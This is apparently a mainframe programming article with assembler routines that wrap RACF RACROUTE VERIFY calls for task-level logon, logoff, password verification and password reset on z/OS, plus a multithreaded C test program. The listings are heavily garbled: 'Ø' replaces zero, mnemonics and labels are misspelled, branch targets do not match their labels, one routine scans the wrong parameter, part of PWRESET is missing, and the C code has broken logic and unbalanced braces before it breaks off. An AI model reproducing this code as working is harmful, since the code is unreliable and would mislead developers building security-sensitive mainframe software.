- **PWRESET()** – is used to attempt to reset the password for a given userid. If the supplied old password is valid (i.e., the current password for the userid), and the supplied new password is valid (i.e., meets the RACF password rule requirements), and the specified userid is not RACF revoked, the password for the specified userid will be reset.

**USAGE**

Below are code excerpts for using the functions in an IBM C program:

```c
// Define the function linkage
#pragma linkage (LOGON, OS)
#pragma linkage (LOGOFF, OS)
#pragma linkage (PWVERIFY, OS)
#pragma linkage (PWRESET, OS)
```
int i;
int SAFrc, RACFrc, RACFrsn;
char userid[9];
char curr_pwd[9];
char new_pwd[9];

// Populate userid, curr_pwd, new_pwd as necessary

// Sample LOGON() usage
i = LOGON(&userid, &curr_pwd, &SAFrc, &RACFrc, &RACFrsn);

// Sample LOGOFF() usage
i = LOGOFF(&SAFrc, &RACFrc, &RACFrsn);

// Sample PWVERIFY() usage
i = PWVERIFY(&userid, &curr_pwd, &SAFrc, &RACFrc, &RACFrsn);

// Sample PWRESET() usage
i = PWRESET(&userid, &curr_pwd, &new_pwd, &SAFrc, &RACFrc, &RACFrsn);

Comments in the function source code describe function arguments, return codes, and sample usage. The SAFrc, RACFrc, and RACFrsn variables can be used to determine the specific nature of the security failure for certain non-zero return codes (-1 for LOGON() and PWRESET(), -2 for PWVERIFY(), -3 for LOGOFF()). For these security failure function return conditions, the values returned in the SAFrc, RACFrc, and RACFrsn variables are documented as the return codes and reason codes for the RACROUTE REQUEST=VERIFY macro (see Chapter 3, ‘System Macros’, in the z/OS SecureWay Security Server RACROUTE Macro reference manual). Other non-zero return codes indicate environment issues (see function comments). A return code of 0 indicates that the requested operation completed successfully.

COMPILATION AND PROGRAM LINKAGE

The source code for the functions should be assembled from a combined source dataset using a standard assembly job. The resulting object module will need to be linkededited with the C/C++ object module to create the executable code. Datasets SYS1.MACLIB, SYS1.MODGEN, and CEE.SCEEMAC will need to be included in the SYSLIB DD concatenation for the function
assembly job. C/C++ programs that make use of any of the security-related functions should be compiled and prelinked with standard compile and prelink jobs. Presuming that the security functions have been assembled into an object module member named LOGIN and a test C program has been ultimately prelinked into an object module member named TESTPGM, below is a sample linkedit job:

```
//IEWL    EXEC   PGM=HEWLHØ96,PARM='XREF,LIST,MAP,RENT'
//SYSPRINT DD   SYSOUT=*  
//SYSUT1   DD    UNIT=SYSDA,SPACE=(CYL,(2,1))
//OBJECT   DD    DSN=object.code.pds,DISP=SHR
//SYSLIB   DD    DSN=CEE.SCEELKED,DISP=SHR
//SYSLMOD  DD    DSN=auth.load.library,DISP=SHR
//SYSLIN   DD    *
    INCLUDE OBJECT(TESTPGM)   OBJ MODULE AFTER TESTPGM PRELINK
    INCLUDE OBJECT(LOGIN)      OBJ MODULE FOR SECURITY FUNCTIONS
    SETCODE AC(1)
    ENTRY CEESTART
    NAME TESTPGM(R)
```

An example C program, TSTLOGON, has been provided with this article to show how the LOGON() function could be used in a multi-tasking environment. In the case of the example program, pthread_create() is used to initiate a number of subtasks. Within each subtask, passed userid and password data are used by the LOGON() function to attempt to create an alternative security environment. For this program to work in your environment, appropriate userid/password combinations will need to be provided in the TSTLOGON program’s code.

CONCLUSION

The drawback of using this function suite is that you need to create authorized programs and they need to reside in APF authorized libraries. These functions, especially LOGON() and LOGOFF() in a multi-tasking application, are very practical options in situations where there may be few, if any, other solutions and most of the time this outweighs the need for APF authorization. They may prove useful in your application development.
LOGIN ASSEMBLER

This file contains the Assembler support routines to support selected logon/logoff type operations. The routines are intended to be called from IBM C programs and the usage for each function is described with the particular function call below.

The supported functions include:

- **LOGON** - is used to validate the supplied user/password with the security product and if valid it sets the task level security to that of the 'logging' in userid.

- **LOGOFF** - is used to reset the current task-level security. If no task-level security is active, the function returns a return code indicating such.

- **PWVERIFY** - is used to validate the supplied user/password with the security product. This function is similar to LOGON, but it will not set the task-level security on a successful 'logon'.

- **PWRESET** - is used to attempt to reset the password for a given userid. If the supplied old and new password are valid, the password for the specified userid will be reset.

Register Usage Conventions:

- **R2**: used to save the incoming parameter address
- **R3**: userid
- **R4**: password (current)
- **R10**: temporary storage address
- **R11**: reserved for second base register
- **R12**: first base register
- **R13**: DSA address
- **R5 - R9**: work registers
- **R0 - R1**: work registers, but generally available for use by calls to system functions
- **R14 - R15**: work registers, return address and return code, but generally available for use by calls to system functions

Other system access validation functions can easily be added by using any one of the supported functions as a model.

Routine: LOGON

Function: Establish a task-level security environment for the specified userid providing the supplied password for the userid is valid.

Arguments: Address of userid

Address of current password

Address of SAF rc return area

Address of RACF rc return area

Address of RACF rsn return area

Return: int - Ø for logon success (TCBSENV contains ACEE)

-1 for failure (SAFrc, RACFrc, RACFrsn will contain details regarding the failure)
* -8 userid or password value invalid (length=Ø) *
* -9 parameter addresses were invalid *
* C usage: i = LOGON(&userid, &crntpwd,
               &SAFrc, &RACFrc, &RACFrsc);

LOGON CSECT
LOGON AMODE 31
LOGON RMODE ANY
EDCPRLG BASEREG=R12,DSALEN=WORKLEN
USING LGINWORK,R13
LR R2,R1 Save incoming parm address
STORAGE OBTAIN,LENGTH=TEMPLEN,LOC=ANY
LR R0,R1 Copy storage address
LR R10,R1 Again
LR R14,R1 Again
L R1,A(TEMPLEN) Get length
XR R15,R15 Set fill byte
MVCL R0,R14 Clear the storage
USING TEMPAREA,R10
ST R2,PARM0 Save incoming parm address
L R3,0(R2) Get userid address
ST R3,PARM1 Save userid address
LTR R3,R3 Valid parm address?
BZ LGONRT9 No - get out
L R4,4(R2) Get password address
ST R4,PARM2 Save password address
LTR R4,R4 Valid parm address?
BZ LGONRT9 No - get out
L R5,8(R2) Get SAF rc area address
ST R5,PARM3 Save SAF rc area address
LTR R5,R5 Valid parm address?
BZ LGONRT9 No - get out
L R5,12(R2) Get RACF rc area address
ST R5,PARM4 Save RACF rc area address
LTR R5,R5 Valid parm address?
BZ LGONRT9 No - get out
L R5,16(R2) Get RACF rsn area address
ST R5,PARM5 Save RACF rsn area address
LTR R5,R5 Valid parm address?
BZ LGONRT9 No - get out

* Determine the length of the userid and copy to local working storage. *
L R9,PARM1 Get address of userid
XR R8,R8 Clear counter register
USRIDLN1 DS ØH
CLI Ø(R9),C' ' End of userid?
BE USRIDEN1 Yes - set len and move value
CLI Ø(R9),X'00' End of userid?
BE USRIDEN1 Yes - set len and move value
C R8,=F'8' Max len?
BE USRIDEN1 Yes - set len and move value
LA R9,1(R9)  Point to next data byte
LA R8,1(R8)  Add one to count
B USRIDLN1  Check next byte

USRID1 DS 0H
LTR R8,R8  Zero len?
BZ LGONRT8  Yes - get out
STCM R8,X'0001',USERIDL  Save userid len
BCTR R8,Ø  Reduce len for ex
MVC USERID(8),=8C' '  Init the userid area
L R9,PARM1  Get addr of incoming userid
EX R8,USRIDMV1  Copy the incoming userid
OC USERID(8),=8C' '  Set to uppercase

* Determine the length of the password and copy to local working *
* storage. *
L R9,PARM1  Get addr of password
XR R8,R8  Clear counter register

CPWDL1 DS 0H
CLI Ø(R9),C' '  End of password?
BE CPWDE1  Yes - set len and move value
CLI Ø(R9),X'00'  End of password?
BE CPWDE1  Yes - set len and move value
C R8,=F'8'  Max len?
BE CPWDE1  Yes - set len and move value
LA R9,1(R9)  Point to next data byte
LA R8,1(R8)  Add one to count
B CPWDLN1  Check next byte

CPWDE1 DS 0H
LTR R8,R8  Zero len?
BZ LGONRT8  Yes - get out
STCM R8,X'0001',CRNTPWDL  Save password length
BCTR R8,Ø  Reduce len for ex
MVC CRNTPWD(8),=8C' '  Init password area
L R9,PARM2  Get addr of password area
EX R8,CPWDMVC1  Copy the password
OC CRNTPWD(8),=8C' '  Set to uppercase
L R5,PARM3  Get SAF rc area addr
XC Ø(4,R5),Ø(R5)  Set SAF rc to zero
L R5,PARM4  Get RACF rc area addr
XC Ø(4,R5),Ø(R5)  Set RACF rc to zero
L R5,PARM5  Get RACF rsn area addr
XC Ø(4,R5),Ø(R5)  Set RACF rsn to zero
MVC ROUTWRK(ROUTLEN1),RACROUT1 Copy RACROUTE model

RACROUTE REQUEST=VERIFY,
  ENVIR=CREATE,
  PASSCHK=YES,
  PASSWRD=CRNTPWDL,
  USERID=USERIDL,
  RELEASE=1.9.2,
  WORKA=RACWORK,MF=(E,ROUTWRK)
ST R15,RETCODE  Save the return code
LTR     R15,R15                  Logon ok?
BNZ     LGONRT1                  No - set return values

ENDLOGON DS  ØH                 
             L R5,RETCODE             Copy return code
             STORAGE RELEASE,LENGTH=TEMPLEN,ADDR=(R1Ø)
             LR R15,R5                  Set return code
             EDGEPIl                    Return

LGONRT1 DS  ØH                   
             L R5,PARM3                Get SAF rc area addr
             ST R15,Ø(R5)              Save SAF rc
             L R5,PARM4                Get RACF rc area addr
             MVC Ø(4,R5),ROUTWRK       Save RACF rc
             L R5,PARM5                Get RACF rsn area addr
             MVC Ø(4,R5),ROUTWRK+4     Save RACF rsn
             MVC RETCODE(4),=F'-1'     Set return code
             B ENDLOGON                We're done

LGONRT8 DS  ØH                   
             MVC RETCODE(4),=F'-8'     Set return code
             B ENDLOGON                We're done

LGONRT9 DS  ØH                   
             MVC RETCODE(4),=F'-9'     Set return code
             B ENDLOGON                We're done

* Executed instructions for LOGON                                *
USRIDMV1 MVC   USERID(*-*),Ø(R9)          Copy the userid
CPWDMVC1 MVC   CRNTPWD(*-*),Ø(R9)         Copy the password

* Constants for LOGON                                           *
RACROUT1 RACROUTE REQUEST=VERIFY,                                        
          PASSCHK=YES,                                                    
          RELEASE=1.9.2,                                                 
          MF=L
ROUTLEN1 EQU   *-RACROUT1
LTORG

* Routine:     LOGOFF                                               *
* Function:    Delete the task-level security environment for         *
*               this task.  If no task-level security is active,      *
*               set a non-zero return code and do not delete the      *
*               ASXBSENV ACEE.                                       *
* Arguments:   Address of SAF rc return area                        *
*               Address of RACF rc return area                       *
*               Address of RACF rsn return area                      *
* Return:      int - Ø for logoff success (TCBSENV contains ACEE)     *
*               -1 no current task-level security environment        *
*               -2 TCBSENV does not point to an ACEE                 *
*               -3 for failure (SAFrc, RACFrc, RACFrsn will          *
*                 contain details regarding the failure)             *
*               -9 parameter addresses were invalid                  *
* C usage:     i = LOGOFF(&SAFrc, &RACFrc, &RACFrsn);              *
LOGOFF   CSECT
LOGOFF   AMODE 31
LOGOFF RMODE ANY
EDCPRLG BASEREG=R12,DSALEN=WORKLEN
USING LGINWORK,R13
LR R2,R1        Save incoming parm address
STORAGE OBTAIN,LENGTH=TEMPLEN,LOC=ANY
LR R0,R1        Copy storage address
LR R10,R1       Again
LR R14,R1       Again
L R1,=A(TEMPLEN) Get length
XR R15,R15      Set fill byte
MVCL R0,R14     Clear the storage
USING TEMPAREA,R10
ST R2,PARM0     Save incoming parm address
L R5,Ø,(R2)     Get SAF rc area address
ST R5,PARM3     Save SAF rc area address
LTR R5,R5       Valid parm address?
BZ LOGOFFRT9    No - get out
L R5,4,(R2)     Get RACF rc area address
ST R5,PARM4     Save RACF rc area address
LTR R5,R5       Valid parm address?
BZ LOGOFFRT9    No - get out
L R5,8,(R2)     Get RACF rsn area address
ST R5,PARM5     Save RACF rsn area address
LTR R5,R5       Valid parm address?
BZ LOGOFFRT9    No - get out
L R5,PARM3      Get SAF rc area addr
XC Ø(4,R5),Ø(R5) Set SAF rc to zero
L R5,PARM4      Get RACF rc area addr
XC Ø(4,R5),Ø(R5) Set RACF rc to zero
L R5,PARM5      Get RACF rsn area addr
XC Ø(4,R5),Ø(R5) Set RACF rsn to zero
L R15,16        Get CVT address
L R14,Ø,(R15)   Point to TCB/ASCB
L R5,4,(R14)    Get active TCB address
L R6,12,(R14)   Get active ASCB address
L R7,TCBSENV-TCB,(R5) Load task ACEE address
L R8,ASCBASXB-ASCB,(R6) Get ASXB address
L R9,ASXBSENV-ASXB,(R8) Get a/s ACEE address
LTR R7,R7       A task ACEE?
BZ LOGOFFRT1    No - get out
CLC Ø(4,R7),=C'ACEE' A valid ACEE?
BNE LOGOFFRT2   No - get out
MVC ROUTWRK(ROUTLEN2),RACROUT2 Copy RACROUTE model
RACROUTE REQUEST=VERIFY,
   ENVIR=DELETE,
   PASSCHK=NO,
   RELEASE=1.9.2,
   WORKA=RACWORK, MF=(E, ROUTWRK)
ST R15,RETCODE  Save the return code
LTR R15,R15     Logoff ok?
BNZ LGOFFRT3 No - set return values
ENDLOGOF DS ØH 
L R5,RETCODE Copy return code
STORAGE RELEASE,LENGTH=TEMPLEN,ADDR=(R1Ø)
LR R15,R5 Set return code
EDCEPIL Return
LGOFFRT1 DS ØH 
MVC RETCODE(4),=F'-1' Set return code
B ENDLOGOF We're done
LGOFFRT2 DS ØH 
MVC RETCODE(4),=F'-2' Set return code
B ENDLOGOF We're done
LGOFFRT3 DS ØH 
L R5,PARM3 Get SAF rc area addr
ST R15,Ø(,R5) Save SAF rc
L R5,PARM4 Get RACF rc area addr
MVC Ø(4,R5),ROUTWRK Save RACF rc
L R5,PARM5 Get RACF rsn area addr
MVC Ø(4,R5),ROUTWRK+4 Save RACF rsn
MVC RETCODE(4),=F'-3' Set return code
B ENDLOGOF We're done
LGOFFRT9 DS ØH 
MVC RETCODE(4),=F'-9' Set return code
B ENDLOGOF We're done
* Executed instructions for LOGOFF *
* Constants for LOGOFF *
RACROUTE REQUEST=VERIFY, PASSCHK=YES, RELEASE=1.9.2, MF=L
ROUTLEN2 EQU *-RACROUTE
LTORG
DROP R1Ø,R12,R13
* Routine: PWVERIFY *
* Function: Determine whether the specified userid/password combination is valid. *
* Arguments: Address of userid *
* Address of current password *
* Address of SAF rc return area *
* Address of RACF rc return area *
* Address of RACF rsn return area *
* Return: int - Ø for userid/password valid *
* -1 if password is expired *
* -2 for failure (SAFrc, RACFrc, RACFrsn will contain details regarding the failure) *
* -8 userid or password value invalid (length=Ø) *
* -9 parameter addresses were invalid *
* C usage: i = PWVERIFY(&userid, &crntpwd, *
* &SAFrc, &RACFrc, &RACFrsn); *
PWVERIFY CSECT
PWVERIFY AMODE 31
PWVERIFY RMODE ANY
EDCPRLG BASEREG=R12,DSALEN=WORKLEN
USING LGINWORK,R13
LR R2,R1
STORAGE OBTAIN,LENGTH=TEMPLEN,LOC=ANY
LR RØ,R1
LR R10,R1
LR R14,R1
L R1,=A(TEMPLEN)
XR R15,R15
MVCL RØ,R14
USING TEMPAREA,R10
ST R2,PARMØ
L R3,Ø(R2)
ST R3,PARM1
LTR R3,R3
BZ PWVFRT9
L R4,4(R2)
ST R4,PARM2
LTR R4,R4
BZ PWVFRT9
L R5,8(R2)
ST R5,PARM3
LTR R5,R5
BZ PWVFRT9
L R5,12(R2)
ST R5,PARM4
LTR R5,R5
BZ PWVFRT9
L R5,16(R2)
ST R5,PARM5
LTR R5,R5
BZ PWVFRT9
* Determine the length of the userid and copy to local working storage. *
L R9,PARM1
XR R8,R8
USRIDLN2 DS ØH
CLI Ø(R9),C' '
BE USRIDEN2
CLI Ø(R9),X'00'
BE USRIDEN2
C R8,=F'8'
BE USRIDEN2
LA R9,1(R9)
LA R8,1(R8)
B USRIDLN2
USRIDEN2 DS ØH
LTR R8,R8
BZ PWVFRT8 Yes - get out
STCM R8,X'0001',USERIDL Save userid len
BCTR R8,Ø Reduce len for ex
MVC USERID(8),=8C' ' Init the userid area
L R9,PARM1 Get addr of incoming userid
EX R8,USRIDMV2 Copy the incoming userid
OC USERID(8),=8C' ' Set to uppercase

* Determine the length of the password and copy to local working *
* storage. *
L R9,PARM2 Get address of password
XR R8,R8 Clear counter register

CPWDLN2 DS ØH
CLI Ø(R9),C' ' End of password?
BE CPWDEN2 Yes - set len and move value
CLI Ø(R9),X'00' End of password?
BE CPWDEN2 Yes - set len and move value
C R8,=F'8' Max len?
BE CPWDEN2 Yes - set len and move value
LA R9,1(R9) Point to next data byte
LA R8,1(R8) Add one to count
B CPWDLN2 Check next byte

CPWDEN2 DS ØH
LTR R8,R8 Zero len?
BZ PWVFRT8 Yes - get out
STCM R8,X'0001',CRNTPWDL Save password length
BCTR R8,Ø Reduce len for ex
MVC CRNTPWD(8),=8C' ' Init password area
L R9,PARM2 Get address of password area
EX R8,CPWDMVC2 Copy the password
OC CRNTPWD(8),=8C' ' Set to uppercase
L R5,PARM3 Get SAF rc area addr
XC Ø(4,R5),Ø(R5) Set SAF rc to zero
L R5,PARM4 Get RACF rc area addr
XC Ø(4,R5),Ø(R5) Set RACF rc to zero
L R5,PARM5 Get RACF rsn area addr
XC Ø(4,R5),Ø(R5) Set RACF rsn to zero
MVC ROUTWRK(ROUTLEN3),RACROUT3 Copy RACROUTE model
RACROUTE REQUEST=VERIFY, X
ENVIR=CREATE, X
PASSCHK=YES, X
PASSWRD=CRNTPWDL, X
USERID=USERIDL, X
ACEE=ACEEADDR, X
RELEASE=1.9.2, X
WORKA=RACWORK,MF=(E,ROUTWRK)
ST R15,RETCODE Save the return code
LTR R15,R15 Logon ok?
BNZ PWVFRT1 No - set return values
CLC ACEEADDR(4),=F'0' An ACEE?
BE NOACEE1 No - don't delete it
MVC ROUTWRK(ROUTLEN3),RACROUTE Copy RACROUTE model
RACROUTE REQUEST=VERIFY, X
   ENVIR=DELETE, X
   PASSCHK=NO, X
   ACEE=ACEEADDR, X
   RELEASE=1.9.2, X
   WORKA=RACWORK,MF=(E,ROUTWRK)

NOACEE1 DS ØH
ENDPWVF DS ØH
   L R5,RETCODE Copy return code
   STORAGE RELEASE,LENGTH=TEMPLEN,ADDR=(R1Ø)
   LR R15,R5 Set return code
   EDCEPIL Return

PWVFRT1 DS ØH
   L R5,PARM3 Get SAF rc area addr
   ST R15,Ø(,R5) Save SAF rc
   L R5,PARM4 Get RACF rc area addr
   MVC Ø(4,R5),ROUTWRK Save RACF rc
   L R5,PARM5 Get RACF rsn area addr
   MVC Ø(4,R5),ROUTWRK+4 Save RACF rsn
   C R15,=F'8' SAF rc=8?
   BNE PWVFRT2 No - password not expired
   CLC ROUTWRK(4),=F'12' RACF rc=12?
   BNE PWVFRT2 No - password not expired
   MVC RETCODE(4),=F'-1' Set return code
   B ENDPWVF We're done

PWVFRT2 DS ØH
   MVC RETCODE(4),=F'-2' Set return code
   B ENDPWVF We're done

PWVFRT8 DS ØH
   MVC RETCODE(4),=F'-8' Set return code
   B ENDPWVF We're done

PWVFRT9 DS ØH
   MVC RETCODE(4),=F'-9' Set return code
   B ENDPWVF We're done

* Executed instructions for PWVERIFY *
USRIDMV2 MVC USERID(*-*),Ø(R9) Copy the userid
CPWDMVC2 MVC CRNTPWD(*-*),Ø(R9) Copy the password

* Constants for PWVERIFY *
RACROUTE3 RACROUTE REQUEST=VERIFY, X
   PASSCHK=YES, X
   RELEASE=1.9.2, X
   MF=L

ROUTLEN3 EQU *-RACROUTE3
LTORG
DROP R1Ø,R12,R13

* Routine: PWRESET *
* Function: Attempt to reset the password for the specified *
*   userid to the new password value. This function *
*   will only succeed if the current password is valid *
and the requested new password meets the security requirements for a good password.

Arguments:
- Address of userid
- Address of current password
- Address of new password
- Address of SAF rc return area
- Address of RACF rc return area
- Address of RACF rsn return area

Return:
- \( i = 0 \) if the password was successfully reset
- \( -1 \) for failure (SAFrc, RACFrc, RACFrsn will contain details regarding the failure)
- \( -8 \) userid or password value invalid (length=0)
- \( -9 \) parameter addresses were invalid

C usage:
\[
i = \text{PWRESET}(&\text{userid}, &\text{crntpwd}, &\text{newpwd},
&\text{SAFrc}, &\text{RACFrc}, &\text{RACFrsn});
\]
L     R5,2Ø(,R2)       Get RACF rsn area address
ST    R5,PARM6         Save RACF rsn area address
LTR   R5,R5            Valid parm address?
BZ    PWRsRT9          No - get out

* Determine the length of the userid and copy to local working storage. *
L     R9,PARM1         Get address of userid
XR    R8,R8           Clear counter register
USRIDLN3 DS ØH
  CLI  Ø(R9),C' '      End of userid?
  BE    USRIDEN3       Yes - set len and move value
  CLI  Ø(R9),X'00'     End of userid?
  BE    USRIDEN3       Yes - set len and move value
  C     R8,=F'8'       Max len?
  BE    USRIDEN3       Yes - set len and move value
  LA    R9,1(,R9)      Point to next data byte
  LA    R8,1(,R8)      Add one to count
  B     USRIDEN3       Check next byte
USRIDLN3 DS ØH
  LTR   R8,R8          Zero len?
  BZ    PWRSRT8        Yes - get out
  STCM  R8,X'0001',USERIDL  Save userid len
  BCTR  R8,Ø           Reduce len for ex
  MVC   USERID(8),=8C' ' Init the userid area
  L     R9,PARM1       Get addr of incoming userid
  EX    R8,USRIDMV3    Copy the incoming userid
  OC    USERID(8),=8C' ' Set to uppercase

* Determine the length of the password and copy to local working storage. *
L     R9,PARM2         Get address of password
XR    R8,R8           Clear counter register
CPWDLN3 DS ØH
  CLI  Ø(R9),C' '      End of password?
  BE    CPWDEN3        Yes - set len and move value
  CLI  Ø(R9),X'00'     End of password?
  BE    CPWDEN3        Yes - set len and move value
  C     R8,=F'8'       Max len?
  BE    CPWDEN3        Yes - set len and move value
  LA    R9,1(,R9)      Point to next data byte
  LA    R8,1(,R8)      Add one to count
  B     CPWDEN3        Check next byte
CPWDEN3 DS ØH
  LTR   R8,R8          Zero len?
  BZ    PWRSRT8        Yes - get out
  STCM  R8,X'0001',CRNTPWDL  Save password length
  BCTR  R8,Ø           Reduce len for ex
  MVC   CRNTPWD(8),=8C' ' Init password area
  L     R9,PARM2       Get address of password area
  EX    R8,CPWDMVC3    Copy the password
  OC    CRNTPWD(8),=8C' ' Set to uppercase
* Determine the length of the new password and copy to local working storage. *

L R9,PARM3 Get address of new password
XR R8,R8 Clear counter register

NPWDLN3 DS 0H
CLI Ø(R9),C' ' End of password?
BE NPWDEN3 Yes - set len and move value
CLI Ø(R9),X'00' End of password?
BE NPWDEN3 Yes - set len and move value
C R8,=F'8' Max len?
BE NPWDEN3 Yes - set len and move value
LA R9,1(R9) Point to next data byte
LA R8,1(R8) Add one to count
B NPWDLN3 Check next byte

NPWDEN3 DS 0H
LTR R8,R8 Zero len?
BZ PWRSRT8 Yes - get out
STCM R8,X'001',NEWPWD Save password length
BTCR R8,Ø Reduce len for ex
MVC NEWPWD(8),=8C' ' Init password area
L R9,PARM3 Get address of password area
EX R8,NEWPWD(8),=8C' ' Copy the password
OC NEWPWD(8),=8C' ' Set to uppercase
L R5,PARM4 Get SAF rc area addr
XC Ø(4,R5),Ø(R5) Set SAF rc to zero
L R5,PARM5 Get RACF rc area addr
XC Ø(4,R5),Ø(R5) Set RACF rc to zero
L R5,PARM6 Get RACF rsn area addr
XC Ø(4,R5),Ø(R5) Set RACF rsn to zero
MVC ROUTWRK(ROUTLEN4),RACROUT4 Copy RACROUTE model

RACROUTE REQUEST=VERIFY, X
ENVIR=CREATE, X
PASSCHK=YES, X
NEWPASS=NEWPWD, X
PASSWRD=CRNTPWD, X
USERID=UTFERID, X
ACEE=ACEEADDR, X
RELEASE=1.9.2, X
WORKA=RACWORK,MF=(E,ROUTWRK)
ST R15,RETCODE Save the return code
LTR R15,R15 Logon ok?
BNZ PWRSRT1 No - set return values
CLC ACEEADDR(4),=F'Ø' An ACEE?
BE NOACEE2 No - don't delete it
MVC ROUTWRK(ROUTLEN4),RACROUT4 Copy RACROUTE model

RACROUTE REQUEST=VERIFY, X
ENVIR=DELETE, X
PASSCHK=NO, X
ACEE=ACEEADDR, X
RELEASE=1.9.2, X
WORKA=RACWORK,MF=(E,ROUTWRK)

NOACEE2 DS ØH
ENDPWSR DS ØH
L R5,RETCODE Copy return code
STORAGE RELEASE,LENGTH=TEMPLEN,ADDR=(R10)
LR R15,R5 Set return code
EDCEPI Return

PWSRT1 DS ØH
L R5,PARM4 Get SAF rc area addr
ST R15,Ø(.R5) Save SAF rc
L R5,PARM5 Get RACF rc area addr
MVC Ø(4,R5),ROUTWRK Save RACF rc
L R5,PARM6 Get RACF rsn area addr
MVC Ø(4,R5),ROUTWRK+4 Save RACF rsn
MVC RETCODE(4),=F'-1' Set return code
B ENDPWRS We're done

PWSRT8 DS ØH
MVC RETCODE(4),=F'-8' Set return code
B ENDPWRS We're done

PWSRT9 DS ØH
MVC RETCODE(4),=F'-9' Set return code
B ENDPWRS We're done

* Executed instructions for PWRESET *
USRIDMV3 MVC USERID(*-*),Ø(R9) Copy the userid
CPWDMVC3 MVC CRNTPWD(*-*),Ø(R9) Copy the password
NPWDMVC3 MVC NEWPWD(*-*),Ø(R9) Copy the new password

* Constants for PWRESET *
RACROUT4 RACROUTE REQUEST=VERIFY, X
PASSCHK=YES, X
RELEASE=1.9.2, X
MF=L

ROUTLEN4 EQU -*.RACROUTE
LTO RG
DROP R10,R12,R13

LGINWORK EDCDSAD
WORKLEN EQU -*.LGINWORK

TEMPLA RE DSECT
PARMØ DS F
PARM1 DS F
PARM2 DS F
PARM3 DS F
PARM4 DS F
PARM5 DS F
PARM6 DS F
PARM7 DS F
PARM8 DS F
PARM9 DS F
PARM10 DS F
RETCODE DS F
ACEEADDR DS F
TSTLOGON.C

/* Before this program is compiled on an OS/390 or z/OS
   * system, be sure to change all occurrences of '[' to x'AD'
   * and all occurrences of ']' to x'BD'. */
#define _OPEN_THREADS
#define _POSIX_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>
#include <errno.h>
#pragma runopts("POSIX(ON)"")
#pragma linkage (LOGON, OS)
#pragma linkage (LOGOFF, OS)
#pragma linkage (PWVERIFY, OS)
#pragma linkage (PWRESET, OS)
struct THREAD_PARM {
    pthread_t thread_id;
    char thread_name[64];
    char thread_userid[12];
    char thread_passwd[12];
    char *thread_ret;
    int thread_done;
    int thread_sleep;
    struct THREAD_PARM *thread_next;
};
#define MAX_THREAD_COUNT 4
int CHECK_ACEE(char *sec_env)
{
    unsigned int cvtloc;
    unsigned int cvt;
    unsigned int ascb;
    unsigned int tcb;
    unsigned int asxb;
    unsigned int tcbsenv;
    unsigned int asxbenv;
    unsigned int temp;
    char ACEEUSRI[9];
    char temp_str[5];
    int rc;

    /* Extract the current TCB and ASCB addresses. Find the current task-level ACEE address (the TCBSENV (TCB+x'154') contains the task level ACEE address) and determine whether there is an ACEE associated with the current task (TCBSENV is non-zero). If there is no task-level ACEE, the current task is running under the security environment associated with the address space. The address space ACEE address is contained in the ASXB (the ASXBSENV (ASXB=x'C8') contains the address space ACEE address). Under only the rarest of circumstances will the ASXBSENV be zero so expect this field to contain the address space ACEE address. A task ACEE always takes precedence over an address space ACEE so check for it first. */
    cvtloc = 16;
    cvt = *(unsigned int *)cvtloc; // CVT address
    temp = *(unsigned int *)temp; // TCB/ASCB area address
    tcb = *(unsigned int *)(temp + 4); // TCB address
    ascb = *(unsigned int *)(temp + 12); // ASCB address
    tcbsenv = *(unsigned int *)(tcb + 0x0000154); // TCB ACEE address
    asxb = *(unsigned int *)(ascb + 0x0000006c); // ASXB address
    asxbenv = *(unsigned int *)(asxb + 0x000000c8); // Address space ACEE addr

    ACEEUSRI[8] = 0;
    if (tcbsenv != 0)
    {
        strncpy(temp_str,(char *)(tcbsenv + 0),4);
    }
temp_str[4] = Ø;
rc = strcmp(temp_str,"ACEE\0");
if (rc == Ø) {
    strncpy(ACEEUSRI,(char *)(tcbsenv + ØxØØØØØØ15),8);
    //    printf("Security environment is associated with %s\n",ACEEUSRI);
    strncpy(sec_env,ACEEUSRI,8);
    return (Ø);
} else {
    printf("ACEE not located\n");
    return (-1);
}
if (asxbsenv != Ø) {
    strncpy(temp_str,(char *)(asxbsenv + Ø),4);
    temp_str[4] = Ø;
    rc = strcmp(temp_str,"ACEE\0");
    if (rc == Ø) {
        strncpy(ACEEUSRI,(char *)(asxbsenv + ØxØØØØØØ15),8);
        //        printf("Security environment is associated with %s\n",ACEEUSRI);
        strncpy(sec_env,ACEEUSRI,8);
        return (Ø);
    } else {
        printf("ACEE not located\n");
        return (-1);
    }
} return(-2);
}

void *thread(void *arg) {
    time_t t1;
    struct THREAD_PARM *thrd_prm;
    int k, l;
    int SAFrc;
    int RACFrc;
    int RACFrsn;
    char security_environment[9];
    thrd_prm = (struct THREAD_PARM *)arg;
    printf("thread() entered with argument '%s\n",
            thrd_prm->thread_name);
    if ((thrd_prm->thread_ret = (char*) malloc(32)) == NULL) {
        perror("malloc() error");
        exit(22);
time(&t1);
printf("thread() start time for thread %s is %s\n ...
", 
thrd_prm->thread_name, ctime(&t1),
thrd_prm->thread_userid, strlen(thrd_prm->thread_userid),
thrd_prm->thread_passwd, strlen(thrd_prm->thread_passwd));
sprintf(thrd_prm->thread_ret, "This is a test of %s",
thrd_prm->thread_name);
/* Issue the LOGON() function to request the creation of a task */
l = LOGON(&thrd_prm->thread_userid, 
&thrd_prm->thread_passwd, 
&SAFrc, 
&RACFrc, 
&RACFrsn);
strcpy(security_environment,"        ");
k = CHECK_ACEE((char *)&security_environment);
sleep(thrd_prm->thread_sleep);
time(&t1);
printf("thread() end time for thread %s is %s.  k=%d  errno=%d 
", 
thrd_prm->thread_name, ctime(&t1), k, errno, l);
printf("Security environment for thread %s is %s\n", 
thrd_prm->thread_name, security_environment);

thrd_prm->thread_done = 1;
pthread_exit(thrd_prm->thread_ret);
}

main() {
struct THREAD_PARM *thread_info_first;
struct THREAD_PARM *thread_info;
struct THREAD_PARM *thread_info_next;
void *ret;
time_t t;
char thread_name[64];
int thread_count;
int i;
int done_flag;
thread_info_first = NULL;
thread_info = (struct THREAD_PARM*)calloc(1,sizeof(struct THREAD_PARM));
/* Determine how many threads you want to initiate and how many 
* unique userid/password combinations should be used. 
* Change the MAX_THREAD_COUNT and the userid/passwd values below 
* as necessary. */
for (thread_count = 1; thread_count <= MAX_THREAD_COUNT; thread_count++)
{
    if (thread_info_first == NULL)
    {
}
thread_info_first = thread_info;

if (thread_count == 1)
{
    thread_info->thread_sleep = 10;
    strcpy(thread_info->thread_userid,"USERID1");
    strcpy(thread_info->thread_passwd,"PWDVAL1");
}
else if (thread_count == 2)
{
    thread_info->thread_sleep = 8;
    strcpy(thread_info->thread_userid,"USERID2");
